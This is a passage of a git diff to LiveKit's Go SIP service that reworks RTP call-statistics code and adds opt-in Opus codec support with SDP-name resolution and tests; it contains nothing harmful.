m.WriteErrors.Load(), - BlockedMixes: m.BlockedMixes.Load(), - }, - Closed: s.Closed.Load(), - } -} - -func (s *Stats) Log(log logger.Logger, callStart time.Time) { - const expectedSampleRate = RoomSampleRate - st := s.Load() - log.Infow("call statistics", - "stats", st, - "durMin", int(time.Since(callStart).Minutes()), - "sip_rx_ppm", ratePPM(st.Port.AudioRX, expectedSampleRate), - "sip_tx_ppm", ratePPM(st.Port.AudioTX, expectedSampleRate), - "lk_publish_ppm", ratePPM(st.Room.PublishTX, expectedSampleRate), - "expected_pcm_hz", expectedSampleRate, - ) -} - -func (s *Stats) MarshalJSON() ([]byte, error) { - return json.Marshal(s.Load()) -} - -func ratePPM(rate float64, expected int) float64 { - if expected <= 0 { - return 0 - } - return (rate - float64(expected)) / float64(expected) * 1_000_000 -} - -const ( - channels = 1 - RoomSampleRate = 48000 -) - -var staticPayloadTypes = map[uint8]string{ - 0: "Auto_PCMU/8000", - 3: "Auto_GSM/8000", - 4: "Auto_G723/8000", - 5: "Auto_DVI4/8000", - 6: "Auto_DVI4/16000", - 7: "Auto_LPC/8000", - 8: "Auto_PCMA/8000", - 9: "Auto_G722/8000", - 10: "Auto_L16/44100/2", - 11: "Auto_L16/44100", - 12: "Auto_QCELP/8000", - 13: "Auto_CN/8000", - 14: "Auto_MPA/90000", - 15: "Auto_G728/16000", - 16: "Auto_DVI4/11025", - 17: "Auto_DVI4/22050", - 18: "Auto_G729/8000", - 25: "Auto_CELLB/90000", - 26: "Auto_JPEG/90000", - 28: "Auto_NV/90000", - 31: "Auto_H261/90000", - 32: "Auto_MPV/90000", - 33: "Auto_MP2T/90000", - 34: "Auto_H263/90000", -} - -func newRTPStatsHandler(mon *stats.CallMonitor, typ string, r rtp.Handler) *rtpStatsHandler { - if r == nil { - r = rtp.HandlerFunc(nil) - } - return &rtpStatsHandler{h: r, typ: typ, mon: mon} -} - -type rtpStatsHandler struct { - h rtp.Handler - typ string - mon *stats.CallMonitor -} - -func (r *rtpStatsHandler) String() string { - return fmt.Sprintf("StatsHandler(%s) -> %s", r.typ, r.h.String()) -} - -func (r *rtpStatsHandler) HandleRTP(h *rtp.Header, payload []byte) error { - if r.mon != nil { - typ := r.typ - if typ == "" && h.PayloadType < 96 { - typ = staticPayloadTypes[h.PayloadType] - } - if typ == "" { - typ = strconv.Itoa(int(h.PayloadType)) - } - r.mon.RTPPacketRecv(typ) - } - return r.h.HandleRTP(h, payload) -} - -func (r *rtpStatsHandler) Close() { - if closer, ok := r.h.(rtp.HandlerCloser); ok { - closer.Close() - } -} - -func newRTPStatsWriter(mon *stats.CallMonitor, audioPayloadType uint8, dtmfPayloadType uint8, audioType string, dtmfType string, w rtp.WriteStream) rtp.WriteStream { - return &rtpStatsWriter{ - w: w, - audioPayloadType: audioPayloadType, - dtmfPayloadType: dtmfPayloadType, - audioType: audioType, - dtmfType: dtmfType, - mon: mon, - } -} - -type rtpStatsWriter struct { - w rtp.WriteStream - audioPayloadType uint8 - dtmfPayloadType uint8 - audioType string - dtmfType string - mon *stats.CallMonitor -} - -func (w *rtpStatsWriter) String() string { - return fmt.Sprintf("StatsWriter(%s) -> %s", w.audioType, w.w.String()) -} - -func (w *rtpStatsWriter) WriteRTP(h *prtp.Header, payload []byte) (int, error) { - if w.mon != nil { - typ := "" - switch h.PayloadType { - case w.audioPayloadType: - typ = w.audioType - case w.dtmfPayloadType: - typ = w.dtmfType - } - if typ == "" && h.PayloadType < 96 { - typ = staticPayloadTypes[h.PayloadType] - } - if typ == "" { - typ = strconv.Itoa(int(h.PayloadType)) - } - w.mon.RTPPacketSend(typ) - } - return w.w.WriteRTP(h, payload) -} - -func newMediaWriterCount(w msdk.PCM16Writer, frames, samples *atomic.Uint64) msdk.PCM16Writer { - return &mediaWriterCount{ - w: w, - frames: frames, - samples: samples, - } -} - -type mediaWriterCount struct { - w msdk.PCM16Writer - frames *atomic.Uint64 - samples *atomic.Uint64 -} - -func (w *mediaWriterCount) String() string { - return w.w.String() -} - -func (w *mediaWriterCount) SampleRate() int { - return w.w.SampleRate() -} - -func (w *mediaWriterCount) Close() error { - return w.w.Close() -} - -func (w *mediaWriterCount) WriteSample(sample msdk.PCM16Sample) error { - w.frames.Add(1) - w.samples.Add(uint64(len(sample))) - return w.w.WriteSample(sample) -} - -func newRTPHandlerCount(h rtp.Handler, packets, bytes *atomic.Uint64) *rtpHandlerCount { - return &rtpHandlerCount{ - h: h, - packets: packets, - bytes: bytes, - } -} - -type rtpHandlerCount struct { - h rtp.Handler - packets *atomic.Uint64 - bytes *atomic.Uint64 -} - -func (h *rtpHandlerCount) String() string { - return h.h.String() -} - -func (h *rtpHandlerCount) Close() { - if closer, ok := h.h.(rtp.HandlerCloser); ok { - closer.Close() - } -} - -func (h *rtpHandlerCount) HandleRTP(hdr *prtp.Header, payload []byte) error { - h.packets.Add(1) - h.bytes.Add(uint64(len(payload))) - return h.h.HandleRTP(hdr, payload) -} - -const maxPositiveSeqDiff = int16(30 * rtp.DefFramesPerSec) -const maxNegativeSeqDiff = int16(-5 * rtp.DefFramesPerSec) -const rapidPacketThreshold = int64(float64(1000/rtp.DefFramesPerSec) * 0.5) -const delayedPacketThreshold = int64(float64(1000/rtp.DefFramesPerSec) * 1.5) - -func Diff16(cur, prev uint16) int16 { - return int16(cur - prev) -} - -type rtpCountingStats struct { - packets atomic.Uint64 - bytes atomic.Uint64 - resets atomic.Uint64 - gaps atomic.Uint64 - gapsSum atomic.Uint64 - late atomic.Uint64 - lateSum atomic.Uint64 - delayedPackets atomic.Uint64 - delayedSum atomic.Uint64 // total duration of delayed packets in milliseconds - rapidPackets atomic.Uint64 // Number of packets that arrived in less than half the expected duration -} - -func newRTPStreamStats(h rtp.Handler, stats *rtpCountingStats) *rtpStreamStats { - if stats == nil { - stats = &rtpCountingStats{} - } - return &rtpStreamStats{ - h: h, - stats: stats, - } -} - -type rtpStreamStats struct { - packets atomic.Uint64 // per rtpStreamStats, where rtpStreamStats.stats.packets may not be exclusive to this stream - lastSeq atomic.Uint64 - lastPacket atomic.Int64 - h rtp.Handler - stats *rtpCountingStats -} - -func (h *rtpStreamStats) String() string { - return h.h.String() -} - -func (h *rtpStreamStats) Close() { - if closer, ok := h.h.(rtp.HandlerCloser); ok { - closer.Close() - } -} - -func (h *rtpStreamStats) HandleRTP(hdr *prtp.Header, payload []byte) error { - count := h.packets.Add(1) - h.stats.packets.Add(1) - h.stats.bytes.Add(uint64(len(payload))) - - now := time.Now().UnixMilli() - lastSeq := uint16(h.lastSeq.Swap(uint64(hdr.SequenceNumber))) - lastPacket := h.lastPacket.Swap(now) - if count > 1 { - diff := Diff16(hdr.SequenceNumber, lastSeq) - if diff > maxPositiveSeqDiff || diff < maxNegativeSeqDiff { - h.stats.resets.Add(1) - } else { - if diff < 0 { - h.stats.late.Add(1) - h.stats.lateSum.Add(uint64(-diff)) - } else if diff > 1 { - h.stats.gaps.Add(1) - h.stats.gapsSum.Add(uint64(diff)) - } - } - - sinceLastPacket := now - lastPacket - if sinceLastPacket < rapidPacketThreshold { - h.stats.rapidPackets.Add(1) - } else if sinceLastPacket > delayedPacketThreshold { - h.stats.delayedPackets.Add(1) - h.stats.delayedSum.Add(uint64(sinceLastPacket)) - } - } - - return h.h.HandleRTP(hdr, payload) -} +// Copyright 2023 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "encoding/json" + "fmt" + "strconv" + "sync/atomic" + "time" + + prtp "github.com/pion/rtp" + + msdk "github.com/livekit/media-sdk" + + "github.com/livekit/media-sdk/rtp" + + "github.com/livekit/protocol/logger" + "github.com/livekit/sip/pkg/stats" +) + +var _ json.Marshaler = (*Stats)(nil) + +type Stats struct { + Port PortStats + Room RoomStats + Closed atomic.Bool +} + +type StatsSnapshot struct { + Port PortStatsSnapshot `json:"port"` + Room RoomStatsSnapshot `json:"room"` + Mixer MixerStatsSnapshot `json:"mixer"` + Closed bool `json:"closed"` +} + +type MixerStatsSnapshot struct { + Tracks int64 `json:"tracks"` + TracksTotal uint64 `json:"tracks_total"` + Restarts uint64 `json:"restarts"` + TimingResets uint64 `json:"timing_resets"` + + Mixes uint64 `json:"mixes"` + TimedMixes uint64 `json:"mixes_timed"` + JumpMixes uint64 `json:"mixes_jump"` + ZeroMixes uint64 `json:"mixes_zero"` + NegativeMixes uint64 `json:"mixes_negative"` + + InputSamples uint64 `json:"input_samples"` + InputFrames uint64 `json:"input_frames"` + InputSamplesDropped uint64 `json:"input_samples_dropped"` + InputFramesDropped uint64 `json:"input_frames_dropped"` + + MixedSamples uint64 `json:"mixed_samples"` + MixedFrames uint64 `json:"mixed_frames"` + + OutputSamples uint64 `json:"output_samples"` + OutputFrames uint64 `json:"output_frames"` + + WriteErrors uint64 `json:"write_errors"` + BlockedMixes uint64 `json:"blocked_mixes"` +} + +func (s *Stats) Update() { + if s == nil { + return + } + s.Port.Update() + s.Room.Update() +} + +func (s *Stats) Load() StatsSnapshot { + p := &s.Port + r := &s.Room + m := &r.Mixer + return StatsSnapshot{ + Port: p.Load(), + Room: r.Load(), + Mixer: MixerStatsSnapshot{ + Tracks: m.Tracks.Load(), + TracksTotal: m.TracksTotal.Load(), + Restarts: m.Restarts.Load(), + TimingResets: m.TimingResets.Load(), + Mixes: m.Mixes.Load(), + TimedMixes: m.TimedMixes.Load(), + JumpMixes: m.JumpMixes.Load(), + ZeroMixes: m.ZeroMixes.Load(), + NegativeMixes: m.NegativeMixes.Load(), + InputSamples: m.InputSamples.Load(), + InputFrames: m.InputFrames.Load(), + InputFramesDropped: m.InputFramesDropped.Load(), + InputSamplesDropped: m.InputSamplesDropped.Load(), + MixedSamples: m.MixedSamples.Load(), + MixedFrames: m.MixedFrames.Load(), + OutputSamples: m.OutputSamples.Load(), + OutputFrames: m.OutputFrames.Load(), + WriteErrors: m.WriteErrors.Load(), + BlockedMixes: m.BlockedMixes.Load(), + }, + Closed: s.Closed.Load(), + } +} + +func (s *Stats) Log(log logger.Logger, callStart time.Time) { + const expectedSampleRate = RoomSampleRate + st := s.Load() + log.Infow("call statistics", + "stats", st, + "durMin", int(time.Since(callStart).Minutes()), + "sip_rx_ppm", ratePPM(st.Port.AudioRX, expectedSampleRate), + "sip_tx_ppm", ratePPM(st.Port.AudioTX, expectedSampleRate), + "lk_publish_ppm", ratePPM(st.Room.PublishTX, expectedSampleRate), + "expected_pcm_hz", expectedSampleRate, + ) +} + +func (s *Stats) MarshalJSON() ([]byte, error) { + return json.Marshal(s.Load()) +} + +func ratePPM(rate float64, expected int) float64 { + if expected <= 0 { + return 0 + } + return (rate - float64(expected)) / float64(expected) * 1_000_000 +} + +const ( + channels = 1 + RoomSampleRate = 48000 +) + +var staticPayloadTypes = map[uint8]string{ + 0: "Auto_PCMU/8000", + 3: "Auto_GSM/8000", + 4: "Auto_G723/8000", + 5: "Auto_DVI4/8000", + 6: "Auto_DVI4/16000", + 7: "Auto_LPC/8000", + 8: "Auto_PCMA/8000", + 9: "Auto_G722/8000", + 10: "Auto_L16/44100/2", + 11: "Auto_L16/44100", + 12: "Auto_QCELP/8000", + 13: "Auto_CN/8000", + 14: "Auto_MPA/90000", + 15: "Auto_G728/16000", + 16: "Auto_DVI4/11025", + 17: "Auto_DVI4/22050", + 18: "Auto_G729/8000", + 25: "Auto_CELLB/90000", + 26: "Auto_JPEG/90000", + 28: "Auto_NV/90000", + 31: "Auto_H261/90000", + 32: "Auto_MPV/90000", + 33: "Auto_MP2T/90000", + 34: "Auto_H263/90000", +} + +func newRTPStatsHandler(mon *stats.CallMonitor, typ string, r rtp.Handler) *rtpStatsHandler { + if r == nil { + r = rtp.HandlerFunc(nil) + } + return &rtpStatsHandler{h: r, typ: typ, mon: mon} +} + +type rtpStatsHandler struct { + h rtp.Handler + typ string + mon *stats.CallMonitor +} + +func (r *rtpStatsHandler) String() string { + return fmt.Sprintf("StatsHandler(%s) -> %s", r.typ, r.h.String()) +} + +func (r *rtpStatsHandler) HandleRTP(h *rtp.Header, payload []byte) error { + if r.mon != nil { + typ := r.typ + if typ == "" && h.PayloadType < 96 { + typ = staticPayloadTypes[h.PayloadType] + } + if typ == "" { + typ = strconv.Itoa(int(h.PayloadType)) + } + r.mon.RTPPacketRecv(typ) + } + return r.h.HandleRTP(h, payload) +} + +func (r *rtpStatsHandler) Close() { + if closer, ok := r.h.(rtp.HandlerCloser); ok { + closer.Close() + } +} + +func newRTPStatsWriter(mon *stats.CallMonitor, audioPayloadType uint8, dtmfPayloadType uint8, audioType string, dtmfType string, w rtp.WriteStream) rtp.WriteStream { + return &rtpStatsWriter{ + w: w, + audioPayloadType: audioPayloadType, + dtmfPayloadType: dtmfPayloadType, + audioType: audioType, + dtmfType: dtmfType, + mon: mon, + } +} + +type rtpStatsWriter struct { + w rtp.WriteStream + audioPayloadType uint8 + dtmfPayloadType uint8 + audioType string + dtmfType string + mon *stats.CallMonitor +} + +func (w *rtpStatsWriter) String() string { + return fmt.Sprintf("StatsWriter(%s) -> %s", w.audioType, w.w.String()) +} + +func (w *rtpStatsWriter) WriteRTP(h *prtp.Header, payload []byte) (int, error) { + if w.mon != nil { + typ := "" + switch h.PayloadType { + case w.audioPayloadType: + typ = w.audioType + case w.dtmfPayloadType: + typ = w.dtmfType + } + if typ == "" && h.PayloadType < 96 { + typ = staticPayloadTypes[h.PayloadType] + } + if typ == "" { + typ = strconv.Itoa(int(h.PayloadType)) + } + w.mon.RTPPacketSend(typ) + } + return w.w.WriteRTP(h, payload) +} + +func newMediaWriterCount(w msdk.PCM16Writer, frames, samples *atomic.Uint64) msdk.PCM16Writer { + return &mediaWriterCount{ + w: w, + frames: frames, + samples: samples, + } +} + +type mediaWriterCount struct { + w msdk.PCM16Writer + frames *atomic.Uint64 + samples *atomic.Uint64 +} + +func (w *mediaWriterCount) String() string { + return w.w.String() +} + +func (w *mediaWriterCount) SampleRate() int { + return w.w.SampleRate() +} + +func (w *mediaWriterCount) Close() error { + return w.w.Close() +} + +func (w *mediaWriterCount) WriteSample(sample msdk.PCM16Sample) error { + w.frames.Add(1) + w.samples.Add(uint64(len(sample))) + return w.w.WriteSample(sample) +} + +func newRTPHandlerCount(h rtp.Handler, packets, bytes *atomic.Uint64) *rtpHandlerCount { + return &rtpHandlerCount{ + h: h, + packets: packets, + bytes: bytes, + } +} + +type rtpHandlerCount struct { + h rtp.Handler + packets *atomic.Uint64 + bytes *atomic.Uint64 +} + +func (h *rtpHandlerCount) String() string { + return h.h.String() +} + +func (h *rtpHandlerCount) Close() { + if closer, ok := h.h.(rtp.HandlerCloser); ok { + closer.Close() + } +} + +func (h *rtpHandlerCount) HandleRTP(hdr *prtp.Header, payload []byte) error { + h.packets.Add(1) + h.bytes.Add(uint64(len(payload))) + return h.h.HandleRTP(hdr, payload) +} + +const maxPositiveSeqDiff = int16(30 * rtp.DefFramesPerSec) +const maxNegativeSeqDiff = int16(-5 * rtp.DefFramesPerSec) +const rapidPacketThreshold = int64(float64(1000/rtp.DefFramesPerSec) * 0.5) +const delayedPacketThreshold = int64(float64(1000/rtp.DefFramesPerSec) * 1.5) + +func Diff16(cur, prev uint16) int16 { + return int16(cur - prev) +} + +type rtpCountingStats struct { + packets atomic.Uint64 + bytes atomic.Uint64 + resets atomic.Uint64 + gaps atomic.Uint64 + gapsSum atomic.Uint64 + late atomic.Uint64 + lateSum atomic.Uint64 + delayedPackets atomic.Uint64 + delayedSum atomic.Uint64 // total duration of delayed packets in milliseconds + rapidPackets atomic.Uint64 // Number of packets that arrived in less than half the expected duration +} + +func newRTPStreamStats(h rtp.Handler, stats *rtpCountingStats) *rtpStreamStats { + if stats == nil { + stats = &rtpCountingStats{} + } + return &rtpStreamStats{ + h: h, + stats: stats, + } +} + +type rtpStreamStats struct { + packets atomic.Uint64 // per rtpStreamStats, where rtpStreamStats.stats.packets may not be exclusive to this stream + lastSeq atomic.Uint64 + lastPacket atomic.Int64 + h rtp.Handler + stats *rtpCountingStats +} + +func (h *rtpStreamStats) String() string { + return h.h.String() +} + +func (h *rtpStreamStats) Close() { + if closer, ok := h.h.(rtp.HandlerCloser); ok { + closer.Close() + } +} + +func (h *rtpStreamStats) HandleRTP(hdr *prtp.Header, payload []byte) error { + count := h.packets.Add(1) + h.stats.packets.Add(1) + h.stats.bytes.Add(uint64(len(payload))) + + now := time.Now().UnixMilli() + lastSeq := uint16(h.lastSeq.Swap(uint64(hdr.SequenceNumber))) + lastPacket := h.lastPacket.Swap(now) + if count > 1 { + diff := Diff16(hdr.SequenceNumber, lastSeq) + if diff > maxPositiveSeqDiff || diff < maxNegativeSeqDiff { + h.stats.resets.Add(1) + } else { + if diff < 0 { + h.stats.late.Add(1) + h.stats.lateSum.Add(uint64(-diff)) + } else if diff > 1 { + h.stats.gaps.Add(1) + h.stats.gapsSum.Add(uint64(diff)) + } + } + + sinceLastPacket := now - lastPacket + if sinceLastPacket < rapidPacketThreshold { + h.stats.rapidPackets.Add(1) + } else if sinceLastPacket > delayedPacketThreshold { + h.stats.delayedPackets.Add(1) + h.stats.delayedSum.Add(uint64(sinceLastPacket)) + } + } + + return h.h.HandleRTP(hdr, payload) +} diff --git a/pkg/sip/media_codecs.go b/pkg/sip/media_codecs.go index 2729aee95..ac947fbd6 100644 --- a/pkg/sip/media_codecs.go +++ b/pkg/sip/media_codecs.go @@ -1,139 +1,163 @@ -// Copyright 2024 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -// Register supported audio codecs -import ( - "errors" - "fmt" - "slices" - "time" - - _ "github.com/livekit/media-sdk/all" - "github.com/livekit/media-sdk/amrwb" - "github.com/livekit/media-sdk/dtmf" - "github.com/livekit/media-sdk/g711" - "github.com/livekit/media-sdk/g722" - "github.com/livekit/media-sdk/sdp" - - msdk "github.com/livekit/media-sdk" - "github.com/livekit/protocol/livekit" -) - -var defaultCodecs = msdk.NewCodecSet() - -func init() { - defaultCodecs.SetEnabledMap(map[string]bool{ - g711.ALawSDPNameAndRate: true, - g711.ULawSDPNameAndRate: true, - g722.SDPNameAndRate: true, - amrwb.SDPNameAndRate: false, // optional - dtmf.SDPNameAndRate: true, - }) -} - -func DefaultCodecs() *msdk.CodecSet { - return defaultCodecs -} - -// Metric label used for advertised codecs that are not part of the internal -// codec set, since their name is dropped during SDP parsing and to keep the -// label bounded -const codecOther = "other" - -func peerCodecNames(d sdp.MediaDesc) []string { - names := make([]string, 0, len(d.Codecs)) - for _, c := range d.Codecs { - if d.DTMFType != 0 && c.Type == d.DTMFType { - // DTMF is parsed out of a=rtpmap into DTMFType, but its payload type is - // still listed in m=audio, where it resolves to no codec. Appended below. - continue - } - name := codecOther - if c.Codec != nil { - name = c.Codec.Info().SDPName - } - if !slices.Contains(names, name) { - names = append(names, name) - } - } - if d.DTMFType != 0 { - names = append(names, dtmf.SDPNameAndRate) - } - return names -} - -func newMediaConfig(m *livekit.SIPMediaConfig, defaultTimeout time.Duration) (*sipMediaConfig, error) { - enc, err := sdpEncryption(m.Encryption) - if err != nil { - return nil, err - } - s, err := codecSet(m) - if err != nil { - return nil, err - } - - mediaTimeout := defaultTimeout - if m.MediaTimeout != nil && m.MediaTimeout.AsDuration() > 0 { - mediaTimeout = m.MediaTimeout.AsDuration() - } - return &sipMediaConfig{ - Encryption: enc, - Codecs: s, - MediaTimeout: mediaTimeout, - }, nil -} - -type sipMediaConfig struct { - Encryption sdp.Encryption - Codecs *msdk.CodecSet - MediaTimeout time.Duration -} - -func codecSet(m *livekit.SIPMediaConfig) (*msdk.CodecSet, error) { - var s *msdk.CodecSet - if m.OnlyListedCodecs { - if len(m.Codecs) == 0 { - return nil, errors.New("no codecs specified") - } - s = msdk.NewCodecSet() // empty set - } else { - s = defaultCodecs.NewSet() // inherit from default - } - for _, codec := range m.Codecs { - name := codec.Name - if name == "" { - return nil, errors.New("no codec name specified") - } - rate := codec.Rate - if rate == 0 { - // Set default rate - switch name { - case g711.ALawSDPNameOnly, g711.ULawSDPNameOnly: - rate = 8000 - case g722.SDPNameOnly: - rate = 8000 // actually 16000, it's a know bug in the spec - case amrwb.SDPNameOnly: - rate = 16000 - default: - return nil, fmt.Errorf("sample rate not specified for codec: %q", name) - } - } - name = fmt.Sprintf("%s/%d", name, rate) - s.SetEnabled(name, true) - } - s.SetEnabled(dtmf.SDPNameAndRate, true) - return s, nil -} +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +// Register supported audio codecs +import ( + "errors" + "fmt" + "slices" + "strings" + "time" + + _ "github.com/livekit/media-sdk/all" + "github.com/livekit/media-sdk/amrwb" + "github.com/livekit/media-sdk/dtmf" + "github.com/livekit/media-sdk/g711" + "github.com/livekit/media-sdk/g722" + "github.com/livekit/media-sdk/sdp" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/protocol/livekit" +) + +const OpusSDPName = "opus/48000/2" + +var defaultCodecs = msdk.NewCodecSet() + +func init() { + defaultCodecs.SetEnabledMap(map[string]bool{ + g711.ALawSDPNameAndRate: true, + g711.ULawSDPNameAndRate: true, + g722.SDPNameAndRate: true, + amrwb.SDPNameAndRate: false, // optional + OpusSDPName: false, // opt-in via enable_opus config flag + dtmf.SDPNameAndRate: true, + }) +} + +func DefaultCodecs() *msdk.CodecSet { + return defaultCodecs +} + +// Metric label used for advertised codecs that are not part of the internal +// codec set, since their name is dropped during SDP parsing and to keep the +// label bounded +const codecOther = "other" + +func peerCodecNames(d sdp.MediaDesc) []string { + names := make([]string, 0, len(d.Codecs)) + for _, c := range d.Codecs { + if d.DTMFType != 0 && c.Type == d.DTMFType { + // DTMF is parsed out of a=rtpmap into DTMFType, but its payload type is + // still listed in m=audio, where it resolves to no codec. Appended below. + continue + } + name := codecOther + if c.Codec != nil { + name = c.Codec.Info().SDPName + } + if !slices.Contains(names, name) { + names = append(names, name) + } + } + if d.DTMFType != 0 { + names = append(names, dtmf.SDPNameAndRate) + } + return names +} + +func newMediaConfig(m *livekit.SIPMediaConfig, defaultTimeout time.Duration) (*sipMediaConfig, error) { + enc, err := sdpEncryption(m.Encryption) + if err != nil { + return nil, err + } + s, err := codecSet(m) + if err != nil { + return nil, err + } + + mediaTimeout := defaultTimeout + if m.MediaTimeout != nil && m.MediaTimeout.AsDuration() > 0 { + mediaTimeout = m.MediaTimeout.AsDuration() + } + return &sipMediaConfig{ + Encryption: enc, + Codecs: s, + MediaTimeout: mediaTimeout, + }, nil +} + +type sipMediaConfig struct { + Encryption sdp.Encryption + Codecs *msdk.CodecSet + MediaTimeout time.Duration +} + +func codecSet(m *livekit.SIPMediaConfig) (*msdk.CodecSet, error) { + var s *msdk.CodecSet + if m.OnlyListedCodecs { + if len(m.Codecs) == 0 { + return nil, errors.New("no codecs specified") + } + s = msdk.NewCodecSet() // empty set + } else { + s = defaultCodecs.NewSet() // inherit from default + } + for _, codec := range m.Codecs { + name := codec.Name + if name == "" { + return nil, errors.New("no codec name specified") + } + rate := codec.Rate + if rate == 0 { + // Set default rate + switch name { + case g711.ALawSDPNameOnly, g711.ULawSDPNameOnly: + rate = 8000 + case g722.SDPNameOnly: + rate = 8000 // actually 16000, it's a know bug in the spec + case amrwb.SDPNameOnly: + rate = 16000 + default: + return nil, fmt.Errorf("sample rate not specified for codec: %q", name) + } + } + name = fmt.Sprintf("%s/%d", name, rate) + s.SetEnabled(name, true) + if sdpName := resolveSDPName(name); sdpName != "" { + s.SetEnabled(sdpName, true) + } + } + s.SetEnabled(dtmf.SDPNameAndRate, true) + return s, nil +} + +// resolveSDPName finds the full SDP name for a codec specified as "name/rate" +// by matching against registered codecs. This handles codecs like Opus whose +// SDP name includes a channel count suffix (e.g., "opus/48000/2"). +func resolveSDPName(name string) string { + name = strings.ToLower(name) + for _, c := range msdk.Codecs() { + sdpName := strings.ToLower(c.Info().SDPName) + if sdpName == name { + return "" + } + if strings.HasPrefix(sdpName, name+"/") { + return c.Info().SDPName + } + } + return "" +} diff --git a/pkg/sip/media_codecs_opus.go b/pkg/sip/media_codecs_opus.go new file mode 100644 index 000000000..4a142e441 --- /dev/null +++ b/pkg/sip/media_codecs_opus.go @@ -0,0 +1,60 @@ +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//go:build cgo + +package sip + +import ( + msdk "github.com/livekit/media-sdk" + "github.com/livekit/media-sdk/opus" + "github.com/livekit/protocol/logger" +) + +func init() { + msdk.RegisterCodec(msdk.NewAudioCodec(msdk.CodecInfo{ + SDPName: OpusSDPName, + SampleRate: 48000, + RTPClockRate: 48000, + RTPIsStatic: false, + Priority: 10, + Disabled: true, + FileExt: "opus", + }, opusDecode, opusEncode)) +} + +// SetOpusEnabled toggles Opus in both the per-call default codec set and the +// global media-sdk codec set. Call once during Service.Start. +func SetOpusEnabled(enabled bool) { + defaultCodecs.SetEnabled(OpusSDPName, enabled) + msdk.CodecSetEnabled(OpusSDPName, enabled) +} + +func opusDecode(w msdk.PCM16Writer) msdk.WriteCloser[opus.Sample] { + dec, err := opus.Decode(w, 1, logger.GetLogger()) + if err != nil { + logger.GetLogger().Errorw("opus decode init failed", err) + return nil + } + return dec +} + +func opusEncode(w msdk.WriteCloser[opus.Sample]) msdk.PCM16Writer { + enc, err := opus.Encode(w, 1, logger.GetLogger()) + if err != nil { + logger.GetLogger().Errorw("opus encode init failed", err) + return nil + } + return enc +} diff --git a/pkg/sip/media_codecs_opus_nocgo.go b/pkg/sip/media_codecs_opus_nocgo.go new file mode 100644 index 000000000..683169767 --- /dev/null +++ b/pkg/sip/media_codecs_opus_nocgo.go @@ -0,0 +1,20 @@ +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//go:build !cgo + +package sip + +// SetOpusEnabled is a no-op in non-CGo builds; Opus requires libopus. +func SetOpusEnabled(_ bool) {} diff --git a/pkg/sip/media_codecs_opus_test.go b/pkg/sip/media_codecs_opus_test.go new file mode 100644 index 000000000..459ad01c5 --- /dev/null +++ b/pkg/sip/media_codecs_opus_test.go @@ -0,0 +1,139 @@ +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//go:build cgo + +package sip + +import ( + "strings" + "testing" + + "github.com/stretchr/testify/require" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/media-sdk/g711" + "github.com/livekit/media-sdk/g722" + "github.com/livekit/media-sdk/sdp" + "github.com/livekit/protocol/livekit" +) + +func TestResolveSDPName(t *testing.T) { + t.Run("two-part name resolves to three-part", func(t *testing.T) { + got := resolveSDPName("opus/48000") + require.Equal(t, OpusSDPName, got) + }) + t.Run("exact three-part match returns empty", func(t *testing.T) { + got := resolveSDPName("opus/48000/2") + require.Empty(t, got) + }) + t.Run("unknown codec returns empty", func(t *testing.T) { + got := resolveSDPName("unknown/8000") + require.Empty(t, got) + }) +} + +func TestCodecSetWithOpus(t *testing.T) { + enableOpusForTest(t) + + m := &livekit.SIPMediaConfig{ + OnlyListedCodecs: true, + Codecs: []*livekit.SIPCodec{ + {Name: "opus", Rate: 48000}, + }, + } + s, err := codecSet(m) + require.NoError(t, err) + require.True(t, s.IsEnabledByName(OpusSDPName), + "codecSet should enable opus/48000/2 when opus/48000 is listed") +} + +// enableOpusForTest turns Opus on for a test and restores disabled state after. +func enableOpusForTest(t *testing.T) { + t.Helper() + SetOpusEnabled(true) + t.Cleanup(func() { SetOpusEnabled(false) }) +} + +// TestOpusDisabledByDefault verifies that without calling SetOpusEnabled, +// Opus is absent from defaultCodecs — so existing deployments are unaffected. +func TestOpusDisabledByDefault(t *testing.T) { + c := sdp.CodecByNameWith(defaultCodecs, 